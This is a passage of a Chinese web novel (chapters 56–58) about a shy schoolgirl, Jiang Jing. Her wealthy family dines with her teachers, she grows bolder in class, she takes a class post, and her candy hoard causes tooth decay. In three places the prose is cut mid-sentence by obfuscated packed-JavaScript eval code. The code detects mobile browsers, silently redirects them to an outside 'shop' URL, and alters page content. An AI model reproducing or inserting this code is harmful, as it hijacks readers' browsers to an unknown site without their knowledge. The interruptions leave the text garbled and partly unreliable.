蒋婧一边紧张一边又很期待地抱着作文本排到老师面前,刚刚把本子递过来,老师就抬手挥了挥,说道:“你们先下去啊,老师暂时不看了,我先说两句。” 她愣住了,随即遗憾地嘟了嘟嘴,抱着作文本转身失落地回到自己的座位上。 老师的讲课没刹住车,这一讲就耗到了放学铃声响。 有同学在下课后继续凑上去,把自己没被看的作文递给老师。 蒋婧也很想让老师看看自己的作文,一边收拾书包,一边默默耳听眼观着讲台那边的动静。 她用力地绞着书包的背带,挪着步子到了讲台边,犹豫又踟蹰着,心又开始起伏不定地紧张起来。 像在寻找合适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650221|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时机,又像在做着艰难的心理准备。 “好了好了,你们把作业本给我,老师晚上回去看,明天再给你们说问题,先去外面集合站队。” 班主任见时间耽误太多,下了命令,孩子们纷纷交了作文本,一股脑地又跑出了教室。 蒋澈和蒋熠在门口叫她,问她怎么还不过来。 班主任正关着多媒体电脑,听到声音抽空看了她一眼:“蒋婧,你怎么不出去集队,有事和老师说吗?” 蒋婧炸毛一样,忽然立正,站得僵硬又笔直。 老师在看她,她心思回转,一下子脑袋空白,摇摇头:“没、没有,老师。” “那快出去站队吧,老师马上过来。” 蒋婧默默扯着书包背带,低头出去和蒋熠站队去了。 * 晚上回到家,蒋源对照家长群里发的作业检查孩子的每日作业。 “婧儿,今天语文作业还有个修改当堂作文,这个做了吗?” 蒋婧摇摇头,从书包里拿出自己的作文本,苦恼地说道:“老师还没有给我看,我不知道怎么改。” “怎么没给你看呢?”蒋源翻开她字迹整洁的作文本,三两下读完,说道:“你这也没老师说的按照模板写的毛病啊。” 蒋婧从爸爸手里抽回作文本,塞回书包,闷闷地说道:“今天我没赶上,老师后面要继续讲课,就没看我的本子。” 做家长的,一点风吹草动都会放大。 蒋源仔仔细细地询问了几遍课堂上发生的事,颇为上心地思虑了很久,觉得还是应该多和老师接触接触。 隔日蒋源和大哥因商务凑到一起吃饭的时候,顺便提了一嘴这个事儿,蒋铮二话没说,直接一个电话过去让人安排了周六宴请老师的事情。 “不啊,大哥,我可真服了你这效率,我还在思考怎么处理,你这怎么直接定完了。” 蒋铮的声音带着一种理所应当的平稳如水:“我才是真服了你。小婧本就入学年纪小,又性格温软,在学校里指不定被老师忽视了多久,上了这么久学校你才发现,这就算了,我都懒得说你了。都到这个节骨眼上了,事情就明晃晃摆在面前了,你还在那瞻前顾后什么呢?” “商场上混这么多年,你也懂得的,这方寸餐桌之上,向是人情利益贯来水到渠成的最佳之地。” 蒋源头大:“我这不是还得考虑考虑老师们的立场吗?” 蒋铮一点不退让地说道:“你省着吧,我来处理。” * 周六晚上,蒋婧被妈妈换上一件浅驼色羊绒双排扣小风衣,头戴一顶同色系的羊绒贝雷帽,脚踩一双意大利小牛皮及踝短靴,模样乖俊地跟着来吃饭。 大人们总有很多饭局,她也时常跟着来,这一次她同样以为是普通的蹭顿饭,还兴高采烈地说要品鉴餐厅甜点来着。 结果被妈妈告知是和老师们吃饭。 蒋婧一阵被雷劈的感觉,“啊?”了一声,站在酒店大厅门口不动了。 “妈妈你是说,和学校里面的老师吃饭吗?” “对呀,不是和你说过了吗,你又没注意听。” 来来往往有服饰华贵的客人,蒋婧挡在路中间,接受了几道路人责备的目光,磨磨蹭蹭地跑上去牵住妈妈的手,有种被赶鸭子上架的感觉。 程与英捏捏她的小手,说道:“你不用说话,主要是爸爸妈妈想和老师聊聊,阿熠哥哥和阿澈哥哥都在呢,你到时候不想说话,就吃饭就好了。” 蒋婧说不上心里什么滋味,跟着进了装潢典雅的大包房。 56.第56章 作为一个平时在学校远远看到老师会通过逃跑躲避打招呼的孩子,蒋婧面对一众科任老师如坐针毡。 不仅语数英老师来了,怎么连体育老师、音乐老师、美术老师,还有教导主任、校长都来了... 她腼腆地在妈妈的带领下,和各个老师挥手,绵言细语地把各个老师的名字都喊了个遍。 大伯和三伯都来了,他们正推杯交盏地和学校领导说着设置什么奖学金的事,蒋婧听不太懂,看了一眼,就低下头去,也不动嘴,光拿着勺子搅拌黏稠的奶油蘑菇汤。 她坐在天鹅绒椅子里,脚够不到地,短靴在空中小幅度地晃着。 “蒋婧妈妈,这个礼物我想着还是亲自退还给你比较保险,实在太贵重了。”右手边,田欣老师拿着上次她偷偷放到老师办公桌上的礼物,声音很低地对妈妈说道。 但是她竖起耳朵,还是听得很清晰,晃着的小腿一下子停了下来。 妈妈友善的声音丝绸般滑过耳畔:“田老师,你可得收下,我还担心这礼物不够好呢。这只是我这一季设计的初版样品,前几天刚刚上市,我总感觉市场反响不太好,等下次我邀你来我工作室,你亲自来选一选喜欢的,这样我才能对这次的‘挑选不当’心里过得去。” 田欣惊诧:“您是Vespera的设计师?” “这个牌子我知道,我身边的朋友们结婚时咬咬牙都要买的就是这个牌子的钻戒,说是人们公认的浪漫与梦想的象征都不为过。没想到您作为设计师这么年轻,实在令人钦佩。” 妈妈又说了几句话,田欣老师的惊讶似乎更多了,一来二去的,聊的很起劲。 左手边,爸爸正将转盘轻轻旋停,使一道摆盘精美的荤菜恰好对着班主任,说道:“张老师,我们做家长的,就希望孩子能多些机会锻炼。我们家这孩子,很乖的,也很上进,还要麻烦您以后多多关注、多多照顾。” “应该的,其实班上每一个孩子,我们都是公平对待的。只是个人精力有限,难免会有疏忽,蒋婧作文这个事,我确实没想到会给孩子造成这样的烦恼。”张老师说道。 蒋源:“无碍,我们家这孩子,心里爱揣着事,不过心思也单纯,小脑袋瓜里从不记坏,只记别人的好。老师您多接触接触,就知道了。” “哦对了,我听教务主任说,您父亲最近病情很严重,一切可都还好?” “唉,情况不太好,需要做心脏手术,听了几家医院不同的意见,反而更糊涂了,对支架还是搭桥还在急着商定一个结果,材料的选择也是一个大问题。没什么可说的,我作为子女,也只能尽力。”说道当下的烦心事,班主任的语气有种悲凉的慨叹。 蒋源稍微怔愣了一下,立马说道:“您需要的话,我这边可以帮您引荐一位知名的心外科医生,可以再去咨询一下。如果真要做,材料这些自然要选最合适的、最有效的,至于费用,你不用担心。” 之后他们在说什么,蒋婧都没有太听得进去,只觉得大概今天去练芭蕾运动量太大了,她有些疲惫了。 走之前,田欣老师趁着他们在说话,走过来在她蹲下,轻轻地拍了一下她的脑袋,眼里有她读不懂的关爱和怜惜。 “蒋婧,加油哦,老师看好你。” 她懵懵懂懂地盯着老师看,小幅度地点点头,心里头却有些说不清道不明的怅然的情绪。 * 蒋婧明显能发现那天过后,她在学校的生活有了一些不一样的地方。 她在班上的成绩只是中等水平,也不吵事、不需要监管,因而反而容易被忽略,属于那种,乖巧但不起眼的学生。 不过近来上课,她能感受到老师们的视线总会时不时地落到自己身上,并且时常被点起来回答问题。 语文课,她的作文会被老师点名夸奖,要求她站到讲台上去,把自己的作文念出来分享给大家。 数学课,老师经常点她去黑板上做题,发现她有知识不巩固的地方,甚至会在课间单独拉着她,就在黑板上逐一地给她讲解清楚。 英语课,田欣老师鼓励和夸奖她的次数也多了起来,给她的英语书贴了很多小红花。 其他课同样如此,体育老师将她点去带操,美术老师点她起来分享创作经验,音乐老师点她去校合唱团。 一夕之间,她觉得似乎每个老师和她的相处都带了一些生硬的刻意,而她同样因为不知道怎么回应、不知道是否达到老师的期望,而感到胆战心惊。 有一天语文课,他们在做着当堂作业,蒋婧忽然觉得鼻子痒痒的,伸手一摸,指尖染上一抹鲜红。 她还没来得及纠结怎么和老师打报告,老师就已经发现了,招手让她过来。 班主任牵着她到洗手台,给她擦干鼻血,又用凉水蘸湿手掌,轻轻拍她的前额和后劲,帮助血管收缩。 “稍稍往前倾一点。冷不冷?”老师的手贴住蒋婧的额头,防止她撞到水龙头,很轻柔地问道。 蒋婧摇摇头,呆呆地望着老师,觉得老师这一刻好温柔,心里顿时涌出对老师的亲近感。 班主任笑了一下,望着她好一会儿,说道:“老师觉得你是个心里有很多话却从不说出来的孩子,这样也没有什么不好,不过呢,如果有什么话你想和老师说,不用感到有压力,老师又不是老虎,不会吃人。” 蒋婧眨了几下眼睛,接过老师卷好的纸巾塞进鼻子,翁着声音,软软地问道:“张老师,你是因为我的爸爸妈妈请你吃了饭,你才会对我这么好吗?” 张老师愣住,好一会儿才调整好表情,眼里有着对她很抱歉的疼惜。 她拍拍蒋婧的肩膀,说道:“不是,是因为你是我的学生,老师自然要对你这么好。老师对班上的每一个学生都有关心的职责和义务。” “可是你老是点我起来回答问题和念作文,你以前都不这样的。” 张老师笑了一下,声音戏谑:“怎么?老师觉得你的作文写的好,你反而不高兴吗?” 蒋婧眼里笼上一层雾蒙蒙的迷惘,低语道:“真的是因为我写的好吗?” “当然啦,老师那天没看到,如果那堂课老师就看到了,老师一定会当时就把那篇作文念出来的。” 张老师接着说道:“爸爸妈妈想要老师们多关注关注你,是可以理解的。你也不用因为大人们的交际方式就感到有压力,老师们本身就都很喜欢你。” “还有啊,你可以不想表达就不表达,但是不能没有表达的能力,在该需要你表达的时候,要能表达的很好。班上的每个同学老师都会轮流点起来回答问题的,这是一个对你们大有裨益的训练。你要调整一下心态,不要觉得老师点你起来回答问题是件糟糕的事情,我希望以后呢,你还能学会主动自己举手回答问题。” “学会举手,学会表达,就是在学会争取机会。这是老师最想让你学会的事情。” 蒋婧寂然无声地看着老师,身心产生一种被启明的震颤。 她被老师牵着一起往教室走,在路上,她又仰着头问到:“张老师,那你爸爸的病好了吗?” 张老师点点头,说道:“手术很成功,老师非常非常感谢你的爸爸,帮老师找到了这样好的医生。你回去能帮老师和你爸爸说声谢谢吗?” “能~” * 蒋婧一直把老师说的话记在了心里,在上课老师提问时,脑子里开始冒出主动举手的念头。 她和蒋熠说了自己决定在课上举手回答一个问题,蒋熠显得尤为仗义似的说道:“那好啊,那我下节课会好好听的,我帮你听着,老师提问的时候,我就叫你。” “不用你叫我,我自己能听到。” “那不行,那我不就没什么作用了。” 这样约定后,导致老师一提问,蒋熠就去扯她的衣服,问:“这个问题你要不要举手?” 蒋婧总是摇头。 蒋熠:“你怎么每个问题都摇头,那你要什么时候举手?” “我也不知道。” 她每次一把手慢慢地举到胸前,又会害怕地放下。 后来终于等到一个蒋婧心里拿的准的问题,再一次优柔寡断地把手举到了胸前,蒋熠发现后,敏捷地上手,把她的手拉高,直接说道:“老师!老师!蒋婧举手了!” 张老师喜笑颜开地看过来,点她起来回答,看向她的目光充满了令人安心的鼓励意味。 她站起来,把那个问题回答得很好,得到了老师的课堂小红花,心里很满足地坐下来。 蒋熠也为她高兴,欢腾地说道:“你看吧,举手一点都不难的,你要是下一次还想回答问题不敢举手,我还帮你!” “不用了,阿熠,我会自己举的。”她眼睛明亮地看过来,笑得眉眼弯弯,称心地说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653516|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>蒋熠只是看着她,她笑,他也跟着笑。 “好吧,好吧,我知道你都变得不害怕举手了,是因为我教你的,是不是?我对你的影响原来这么大,我都没有想到!” * 再后来,班委换届的时候,老师鼓励他们主动参与竞选。 蒋婧没有像之前一样,把这个事情当成了与自己无关又无缘的活动。 爸爸妈妈和哥哥们在家里一起商讨着竞选哪一个班委,问她想干什么。 蒋婧拿不准主意,心里还是有些担心自己做不好,说道:“要不还是算了,我等下一次再选吧,因为我都不知道自己想干什么。” 蒋怀谦轻轻笑了笑,为了助推,把每一个干部的职责都详细地给她讲解了一遍,给出建议:“婧儿的语文成绩好,可以竞选语文课代表。” “可是语文课代表一直都是另外的一个女生的。” 蒋向恒:“那文艺委员呢,你不是喜欢唱歌跳舞吗,当文艺委员怎么样?” 蒋婧想到要带头表演,也摇摇头:“文艺委员要组织队伍的,我怕他们不听我的。” “当班干部就是要锻炼领导能力,让同学们听你的呀。”程与英说道。 蒋婧抗拒地摇摇头,撑着脑袋,目光最后落到了“植物管理员”的标目上。 “那我可以给班上的小花小草浇水,就像我给家里花园里的小花小草浇水一样,我觉得我能做这个!” 蒋源闷头一笑,觉得闺女实在可爱,把她抱到怀里,支持地说道:“嗯,不错,看来我们婧儿就喜欢这种有个小官儿名,但是个小闲职的班干部。” 确定了竞选目标,隔一天,程与英特意给她扎了个精神又亮丽的高马尾,别上精美的红色蝴蝶结。 蒋婧兴致勃勃地去上学,对他们说道:“如果我竞选成功了,我们今天晚上会开庆祝party吗?” 蒋源说道:“当然啦,为了庆祝我们婧儿人生第一次当上班干部,还是这么重要的植物管理员,爸爸今天晚上会特意买一个大蛋糕回来给你庆祝!” 蒋婧开心地和爸爸击了一个掌,雄赳赳、气昂昂地出发了。 * 晚上,程与英提前和佣人们一起装饰了氛围感十足的家庭烛光晚餐,哥哥们又是吹彩条,又是打气球的,欢欣期待地等着妹妹回来一起庆祝。 蒋源一手拎了个大蛋糕,一手牵着蒋婧回来。 程与英一眼看破丈夫嘴角憋了抹温润的笑意,女儿的脸上则有些愁容,连忙走过来问怎么了。 蒋婧小小地“唉”了一声,屏着小脸说道:“妈妈,我没有当上植物管理员,因为有其他同学也想当,我的票数没有他的高,我就没能当上。” “没关系啊,不当就不当呗,当了班干部事情多还让你忙呢。” “不是的妈妈,后来,后来我又被老师选去当宣传委员了。因为没有人当,然后老师问我,我本来不想当的,但是老师问我了嘛,我就,我就还是当了....”说道最后,她的声音越来越小,语调萌里萌气的,好像被天大的使命责任给烦恼住了。 程与英噗嗤笑了一下,亲亲她:“那当宣传委员要干什么呀?” “画黑板报。” “那你觉得你能做好吗?” 蒋婧想了想,有些担心地说道:“我不知道,万一我做不好呢?我没画过黑板报。” 程与英:“既然你都当上了,就不会做不好,妈妈告诉你,一个萝卜一个坑,既然都掉萝卜坑里了,你就要当个好萝卜,把坑守好。” 蒋源带着女儿去洗手,也说道:“对呀,你要想,这不是对你的考验,这是你学习的机会。等你当完一个宣传委员,你就能学会画黑板报,有了机会,就是你学会新的东西的时候了嘛。” 蒋婧在他们的安慰下渐渐有了些底气,想了想好像是这样,说道:“那我会努力当一个好萝卜的,爸爸妈妈。” 小女儿焦虑的情绪淡去,他们这才一家人欢乐地边吃晚餐边庆祝起来。 中途,程与英又好奇地问道:“那阿澈哥哥和阿熠哥哥有当什么班干部吗?” 蒋婧往嘴巴里送了一块蛋糕,说道:“阿澈哥哥还是班长,阿熠哥哥从体育委员变成了纪律委员。” 蒋源和程与英相识一笑。 “阿熠哥哥当纪律委员啊,那你们班主任可真聪明。”程与英笑道。 57.第57章 连续多日阴沉的天气总算是晴朗了起来,窗外暖阳斜照,万物都镀上了一层柔光,餐厅落地窗框住的整棵金黄的银杏树,扇状叶片在活泼的阳光中或飘飞、或随着微风摇晃,风致轻灵。 好一番灿烂的秋日,程与英望着,好心情地想到,思忖着天气好,她决定等会和孩子们商讨一下去哪玩一玩。 不过她期待见到的元气小女儿,今天是哭着被哥哥抱下来的。 程与英帮着佣人把水果抬过来放到桌上,闻声笑着问道:“怎么一大早就这么伤心?” 蒋怀谦托抱着她,从妹妹的后脑勺一直抚摸到温热的背,温和地安抚着。 “早上起来刷牙的时候,下门牙掉了。” 程与英一惊:“开始换牙了,小宝贝,让妈妈看看。” 蒋婧泪眼婆娑地张开嘴巴,露出缺了一颗的下牙,接受不了地说道:“妈妈,我是不是坏掉了..” “哎呀,当然不是啦,小乳牙就是要掉的呀,等一阵子就会长出新的牙齿了。你掉落的牙齿呢?” 她张开小小的手掌,白糯的玉米粒似的小牙齿正躺在手心。 程与英拿过,说道:“妈妈找个小盒子装起来,纪念我们宝宝开始换牙齿了!” 蒋婧不理解地看向哥哥,觉得妈妈都不看重自己这次的悲伤,呜咽了一声,埋进了哥哥的胸膛。 蒋怀谦轻轻一笑,抱紧她继续抚慰地拍拍,说道:“没关系宝宝,掉了牙齿,是一个很可爱的里程碑。” 要接受长大的过程中身体的变化本来就有一点点小小的悲伤,更悲伤上加悲伤的是,哥哥和妈妈觉得自己的其他牙齿有问题,非要带她去医院。 她对医院的印象还停留在抽血打针,死活赖皮不肯去,爸爸和哥哥们还坚持不懈地好言好语地哄,妈妈却是直接制裁带走了。 “蒋小婧,你每天早晚都是一家人盯着刷牙的,怎么牙齿还会黑黑,你是不是偷偷吃糖了?” 蒋婧话里带虚音地低下头去玩玩具,假装若无其事地摇头晃脑,说道:“我没有啊。我哪里来的糖,我都没有糖。” 程与英狐疑地盯着闺女,闺女立马甜兮兮地露出一个乖巧的笑容,她弯起唇角,暂且放过:“你最好是。” * 到了儿童口腔医院,医生检查了一下口腔,让他们去拍个牙片。 从拍片区出来返回诊室的走廊上,蒋婧往对面的诊室看了一眼,发现居然是自己的同班同学。 她走过去,两只小手紧紧地扒着门框,眼睛瞪得圆圆的,像被施了定身法。 那个同学躺在诊疗椅子上,医生正用小电钻钻他的牙齿,他哀嚎的声音听起来实在惨绝人寰。 蒋婧用小小的门牙轻轻咬住下嘴唇,眉头拧成小结。 “婧儿?”蒋怀谦见她没跟上,转过头来,把她抱走。 “哥哥,我也要这样被弄牙齿吗?”她害怕地说道。 蒋怀谦睨了一眼叫得凌厉凄惨的隔壁小孩,捂住她的耳朵,说道:“医生还没说呢,你别怕。” 病房内,蒋源和程与英倾着身子去看电脑屏幕上的牙片,听医生说道:“好几颗牙齿都需要补一补,有颗蛀得比较严重的,看着已经快到牙神经了,趁着她还没哼疼,就赶快给她处理了。” “你们得多注意她的口腔卫生习惯,尤其是晚上的时候,一定要好好刷牙。” “行了,小朋友,躺上去吧,好几颗牙要补呢,我们抓紧时间。” 蒋婧脑袋混乱如麻,站在原地扭捏不动,默默地变成了一尊小小的雕像。 来之前就已经打了预防针,蒋源蹲下来说道:“我们不是说好了如果要看牙,就要勇敢的嘛?让医生叔叔给你看看,好不好?只是补牙,不疼的。” 蒋婧摇摇头,泫然欲泣:“爸爸,我要不,下一次再勇敢呢?” 程与英见丈夫又心软了,拍了他一下,对闺女严声说道:“不行啊,看病哪还有推辞来的道理,上去坐好。” 蒋婧委屈地看了一眼妈妈,寻找靠山一般缩进了爸爸怀里,用有史以来最可怜巴巴的语调说道:“爸爸,我真的害怕,我们下次再来,下次嘛,求求你了....” 蒋源拿她没办法,心软地依了她。 见妻子无语地瞪过来,他又苦笑地朝她安抚道:“没事没事,让她做个心理准备,我改天再带她过来。” * 隔天去上学,蒋婧很早就来到教室,教室里还没有几个人,她梭巡了一圈,目光控制不住地去看昨天在儿童口腔医院遇到的男同学。 他看起来有些萎靡不振,手掌贴着脸,懒洋洋地坐在课桌前。 唉,可怜孩子。昨天叫得那么惨,他肯定都疼坏了。 蒋婧想着,忍不住背着书包顺路过去,面露同情地把两颗奶糖放在他的桌前,说道:“段义鸿,你吃点糖吧,你昨天去看牙肯定很难受。” 段义鸿抬头看见她,见鬼似的,反应激烈地捂住了胸口,说道:“你你你你你....你!给我?糖?” 蒋婧皱眉看了他一眼,心里想到:太可怜了,被牙医弄得连话都说不明白了。 她叹息一声,摇着头回到了座位上。 第一节课下课的课间,段义鸿表情羞涩地走过来,对蒋婧说道:“蒋婧,那个,我不知道原来你也喜欢我,其实我一直都很喜欢你的,那我可以做你的男朋友吗?” 蒋婧发懵,眼睛忽闪忽闪的,问道:“什么是男朋友?” 像是火星子咻地扔进了储备丰厚的燃料空间里,蒋熠听了,平静的意志嗡地一下炸开,一拍桌子大声地指着他说道:“段义鸿,你说什么乱七八糟的东西,给我滚回你座位上去!” “我没乱说,她早上都送我糖吃了,她喜欢我!” 蒋熠掰过蒋婧,问道:“蒋小婧,你闲着没事送他糖干什么?你怎么回事你?” “干嘛,我的糖我想送谁就送谁!”蒋婧气恼地扒开他的手,懒得和他们说话,起身去找原娴玩去了。 蒋熠和蒋澈一个对视,默契地一左一右架了段义鸿出去到走廊的楼梯间。 蒋熠:“把糖交出来!” “凭什么?这是蒋婧送我的!” 蒋熠直接上手去掏他的衣兜,把那两颗蒋婧贯来爱吃的糖果拿出来,当着他的面撕开包装,全部塞进嘴里。 “我妹的糖,要送也只能送给我,你才是凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋婧越听越生气,让蒋澈评理,谁知道蒋澈也说道:“阿婧,阿熠说的对,你以后不要再给别人乱送糖了。” 她觉得他们俩实在是有毛病,“哼”了一声,说到:“我就要送,我的糖,我想送谁就送谁。” 蒋熠怒气值急速上涨,哪里肯就此罢休,愤怒地说道:“好,那我就让你再也没有糖可以送!” 常蕙见他们仨今天嘀哩咕噜地吵了半天还没休战,说到:“好了好了,你们三个小不点,别再相互吵架了,赶快拿筷子吃饭。” 蒋熠忽视妈妈的话,还在气头上,转头就对程与英说道:“四婶,我告诉你,婧丫在房间里偷偷藏了好多的糖,你以为她每天都只能吃你给的一颗糖吗,不是的,她从我家、大伯家、爷爷奶奶家都偷运了好多糖,就藏在她的玩偶小兜里,所以你们都发现不了。她每天都会带好几颗糖来学校,今天还分给别人,把我气死了都,你管管她,别让她老拿那么多糖来学校,别让她动不动就把糖给别人!” 蒋婧没想到他会揭发自己,难以置信地看着他,瞳仁亮得灼人,带着哭腔喊道:“蒋熠!你好过分!我们绝交!我再也不要理你了!” 58.第58章 结束了晚餐,程与英把闺女送去上芭蕾课后,在舞蹈学校旁边的咖啡厅画了两小时设计稿,等她下课,刚好到了两个哥哥差不多下晚自习的时间,又顺路过去把他们接上。 回到家,蒋婧洗漱完爬上床,由两个哥哥负责哄她睡觉,三个人正欢声笑语之时,程与英敲门进来了。 她气定神闲地走到蒋婧卧室的玩偶集结地前的沙发椅坐下,看着闺女平和地说道:“婧儿,你私藏的那些糖,是自己乖乖上缴,还是要过一下被我逼供的流程?” 耗费了一晚上精力,蒋婧早把下午的事情忘之脑后,这会儿忽然被妈妈提起来,有种延迟而来的慌张涌上心头。 她看向妈妈,妈妈也看向她,母女俩安静地对视着。 两个哥哥则是一头雾水地看着她们。 好一会儿后,蒋婧才迫于妈妈的威严,耷拉着脑袋翻身下床,蔫巴巴地去自己的一堆玩偶里抱出一个穿背带裤的小熊和一只系着围裙的小袋鼠,从小熊的背包和衣服口袋里一颗一颗把糖拿出来,又从小袋鼠的口袋里一颗一颗把糖拿出来,摆放在妈妈面前的桌子上。 然后她退开半步,一双大眼睛水光盈盈地、试图卖乖地看着妈妈。 程与英扬了下下巴:“就这么多?” “就这么多了。”她乖怯地低低说道,怕妈妈不信,还狠狠地附加了两个点头。 “我要是随便抓一只出来又找到了怎么办?” 蒋婧紧张地摇摇头,求助地看了一眼两个哥哥,摆摆手,殷勤急切地说到:“真的没有了,妈妈。” 两个哥哥收到信号,开始打起了辅助。 蒋向恒:“四婶,她爱屯点糖就让她屯呗,不然让我和怀谦每天来监督她睡觉,防止她吃糖。” 蒋怀谦:“妈妈,她说没有就是没有了,或者是她忘了自己放过,你要是不放心,等会让我再来和她好好说说,回忆回忆放在哪。” 程与英一记眼风甩过来:“你们俩,要么出去,要么闭嘴,不准在这包庇她。” “蒋婧,我再给你一次坦白从宽的机会,到底还有没有藏起来的糖?” “真的没有了...” 程与英铁面无私地说道:“你自己老实交代,是不是因为晚上偷偷吃糖,才把你牙齿吃坏的。你爸爸和我平时盯你刷牙盯那么紧,之前都没什么事,怎么你一个人睡之后就开始长蛀牙了?” 蒋婧低着脑袋不敢看妈妈,手不安分地搓着衣角。 程与英一看她那心虚不说话的样子就知道大概率猜到了事实,心里烧起火气来,表情不善地说道:“说了晚上刷了牙之后就不能吃东西了,你还偷偷吃糖,要把你的牙齿全部吃坏才听话是吧?” “你这房间里以后不准出现糖,到底藏哪了?” 见她闷声不说话,程与英直接上手拎了几个玩偶出来,把它们的衣服全部扒了,抖出里面的糖。 越找越多,很快就桌子上堆成了尖尖的小山,程与英原本还能控制情绪,这会儿已经气得太阳穴震跳了。 “小小年纪没个自律,我真的是,你要把我气死是不是?藏着这么多糖,难怪医生说你有那么多颗牙要补,吃这么多糖,牙齿不坏才怪!” 蒋婧泪眼汪汪地张开手拦她,又气又委屈地阻止:“不行!不准拿!” 程与英置之不理,继续去翻她那数不清的玩偶群落。 见那些小玩偶被粗鲁地抓起来搜身,蒋婧担心它们很疼,又阻止不动妈妈,没多久开始央求:“真的没有了妈妈...不要弄它们,不要!呜呜呜” 蒋怀谦试图过去把她搂过来哄哄,她却是径直挣开,仍跟在妈妈后面,抓着妈妈的裙子,哭成泪人:“不要弄了...不要弄了....我自己拿!我自己拿给你!” 程与英停下,转头看她,等她行动。 房门悄然被打开,蒋源忙完临时的工作过来找人,一进闺女房间,就看到她一边哭泣一边拖着一个大大的编织篮,游走在房间里的每一个角落,从这里拿出一点糖放进去,又从那里拿出一点糖放进去。 每次拿走糖,还要哭着安慰一般拍拍她的小玩偶,像是对它们有很深的亏欠似的潸然泪下。 程与英双手环胸跟在她身后监工,看着她像个小松鼠一样把整个房间都藏了糖果,还能记得清清楚楚,又气又好笑,搞的她神情显得有些古怪。 这是哪里来的主意净找些大人发现不了的旮旯里藏吃的。 最后钦点完两大篮子的糖,程与英严词问道:“真的没有了?” 蒋婧打着哭嗝,目光没有焦点地落在他处,心碎地点点头。 “以后还敢藏吗?” 她抹了把眼泪,眼睛红红地摇摇头。 “你在生妈妈的气吗?” 蒋婧点点头,伤心欲绝地窝在哥哥怀里看着妈妈。 “妈妈这是为你好,不能放任你晚上老偷吃糖,能不能谅解妈妈?” 蒋婧点点头,又摇摇头,因为哭得太投入,说话显出艰难的气短样儿:“那你下次能不动我的玩偶吗?” 她再次粗糙地用手肘擦眼泪,把眼睛弄得红通通的,很受伤地结结巴巴地说道:“我去你的房间的时候...都会问你可不可以、碰碰你的高跟鞋和小口红...所以你来我的房间,也必须要问我、才可以。” 程与英骤然一愣。 蒋源见母女俩氛围僵冷,连忙打起了圆场,抱起闺女说道:“我们属兔的小朋友就是有很强的领地意识的,是不是呀?” 蒋婧小鸡逐米了好几下,连连认同。 “那妈妈不知道的嘛,你和妈妈说了,妈妈以后就不会擅自闯入你的小领地了呀。你看动物世界里的老虎和狮子,是不是要吼一下,才能让擅闯进来的小动物退避三舍?” 听懂了,蒋婧微弱地啜泣着,又态度很友好地朝妈妈说道:“那我告诉你了,你下次不能动我的崽崽们,因为、因为它们会害怕的。” * 同妈妈和解之后,妈妈牵着她一一去给刚刚被搜身的小玩偶们道歉,蒋婧心里这茬才算过去了。 哭得有些疲惫,蒋婧今天偷摸着跑到了哥哥房间里想和他一起睡。 蒋怀谦求之不得,无奈手头上的试卷还没做完,说道:“那哥哥先陪你睡觉,等你睡着了我再做一会儿。” 蒋婧拿着自己的日记本,娴熟地翻进他的怀里坐下,说道:“你写作业,我写日记,我们可以一起写完睡。” “因为如果我有不会写的字,就可以问你了。” 蒋怀谦揉揉她的脑袋,眉眼温柔:“好。” 她拿着铅笔,逐字逐句地在精美的笔记本上郑重地写下日期。 自从老师教会了他们日记格式后,蒋婧在外婆的鼓励下,自发地写起了不上交老师的私人日记,时常抱着本子过来和哥哥一起写日记。 蒋怀谦用左手快速地写着物理题,右手环着妹妹,她若是询问哪个字怎么写,便停下思绪,握着她的手在一边的草稿纸上教她。 她今天写得很沉浸,小脸上显露出义愤填膺的神情。 他把卷子做完,勾着抹淡淡的 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“那我呢?你很久没有在日记里写我了。明天会写吗?” “嗯...如果明天有什么想写的事情,我会写你的,哥哥。” * 蒋熠夹着尾巴做人了好多天,把脑袋里能想到的所有甜言蜜语都说尽了,都没能达成同蒋婧和好的目的,直到班主任说需要更新黑板报,他给蒋婧当上了最贴心的小助手。 黑板报每周都要更新,美术老师教了蒋婧画第一版后,之后就放手让他们自由地去绘制。 蒋婧作为宣传委员,自然担起了大责。先是在纸面上画好草图,再按照图纸画到教室后面的黑板上。 两个哥哥一个递粉笔和粉笔擦,一个扶着椅子谨防她跌倒,陪着蒋婧画了她任职后的第二版黑板报。 紧接着,是这个月的第三版、第四版。 完成一版黑板报要占据他们连续三天的课间时间,蒋婧责任心又强,不达到心里的要求绝不结束,有时甚至把一周的所有课间都用来画板报。 第五版,看蒋婧还是打算自己设计自己画,蒋澈琢磨出不对劲儿来。 “你难道想以后的那么多次黑板报都一个人画吗?” 蒋婧困惑地歪头:“难道不是这样吗?我是宣传委员啊。” 蒋澈帮她收拾好散落的粉笔头,说道:“班干部是要起到领导人的作用,不是来包干所有活的。” “可是画黑板报要怎么领导人?” 